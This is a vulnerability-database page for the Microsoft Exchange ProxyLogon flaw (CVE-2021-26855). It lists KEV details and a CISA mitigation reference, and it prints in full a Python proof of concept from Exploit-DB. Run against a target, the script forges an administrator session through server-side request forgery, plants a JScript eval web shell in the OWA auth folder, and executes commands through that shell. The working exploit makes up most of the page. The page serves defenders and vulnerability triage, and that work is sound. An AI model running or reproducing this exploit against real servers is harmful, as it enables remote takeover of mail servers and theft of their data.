CVE-2021-26855

unknown KEV
Published 2021-11-03 · Modified 2021-11-03
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
2.5

Description

Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.

CISA KEV

Vendor
Microsoft
Product
Exchange Server
Due date
2022-05-03

Predictions

Exploit likelihood
99%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

vendor Authored 2026-05-27
{Vendor advisory: cisa-kev — Reference CISA's ED 21-02 (https://www.cisa.gov/news-events/directives/ed-21-02-mitigate-microsoft-exchange-premises-product-vulnerabilities) for further guidance and requirements. Note: The due date for addressing this vulnerability aligns with the requirements outlined in ED 21-02. https://nvd.nist.gov/vuln/detail/CVE-2021-26855}

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-49663 remote windows python · 8 KB
F5 · 2021-03-14

Microsoft Exchange 2019 - Server-Side Request Forgery

python exploit Source: Exploit-DB
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

if len(sys.argv) < 2:
    print("使用方式: python PoC.py <target> <email>")
    print("使用方式: python PoC.py mail.btwaf.cn test2@btwaf.cn")
    exit()

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
random_name = id_generator(4) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % email

print("正在获取Exchange Server " + target+"权限")
print("=============================")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                        "User-Agent": user_agent},
                  verify=False,proxies=proxies)

if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
    FQDN = ct.headers["X-FEServer"]


ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "User-Agent": user_agent},
                   data=autoDiscoverBody,
                    proxies=proxies,
                   verify=False
                   )

if ct.status_code != 200:
    print(ct.status_code)
    print("Autodiscover Error!")
    exit()

if "<LegacyDN>" not in str(ct.content):
    print("Can not get LegacyDN!")
    exit()

legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)

mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
    "Content-Type": "application/mapi-http",
    "X-Requesttype": "Connect",
    "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
    "X-Clientapplication": "Outlook/15.0.4815.1002",
    "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
    "User-Agent": user_agent
},
                   data=mapi_body,
                   verify=False,
proxies=proxies
                   )
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
    print("Mapi Error!")
    exit()

sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]

print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1],"500")

proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent
},
                   data=proxyLogon_request,
proxies=proxies,
                   verify=False
                   )
if ct.status_code != 241 or not "set-cookie" in ct.headers:
    print("Proxylogon Error!")
    exit()

sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; ",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent

},
                   json={"filter": {
                       "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                      "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
                   verify=False
                   )

if ct.status_code != 200:
    print("GetOAB Error!")
    exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)

oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
            "properties": {
                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                               "ExternalUrl": "http://ffff/#%s" % shell_content}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=oab_json,
                   verify=False
                   )
if ct.status_code != 200:
    print("Set external url Error!")
    exit()

reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                  "properties": {
                      "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                     "FilePathName": shell_absolute_path}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=reset_oab_body,
                   verify=False
                   )

if ct.status_code != 200:
    print("写入shell失败了啊")
    exit()

print("成功了。马上就验证shell是否OK!")
print("POST  shell:https://"+target+"/owa/auth/test11.aspx")
shell_url="https://"+target+"/owa/auth/test11.aspx"
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("正在请求shell")
data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False)
if data.status_code != 200:
    print("写入shell失败")
else:
    print("权限如下:"+data.text.split("OAB (Default Web Site)")[0].replace("Name                            : ",""))
EDB-49637 webapps windows
testanull · 2021-03-11

Microsoft Exchange 2019 - Server-Side Request Forgery (Proxylogon) (PoC)

Source code queued for fetch — refresh in a moment.
EDB-49879 webapps windows
Gonzalo Villegas · 2021-05-18

Microsoft Exchange 2019 - Unauthenticated Email Download

Source code queued for fetch — refresh in a moment.
EDB-49895 webapps windows
mekhalleh · 2021-05-21

Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)

Source code queued for fetch — refresh in a moment.

Metasploit modules

Microsoft Exchange ProxyLogon Collector
Source code queued for fetch — refresh in a moment.
Microsoft Exchange ProxyLogon Scanner
Source code queued for fetch — refresh in a moment.
Microsoft Exchange ProxyLogon RCE
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References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.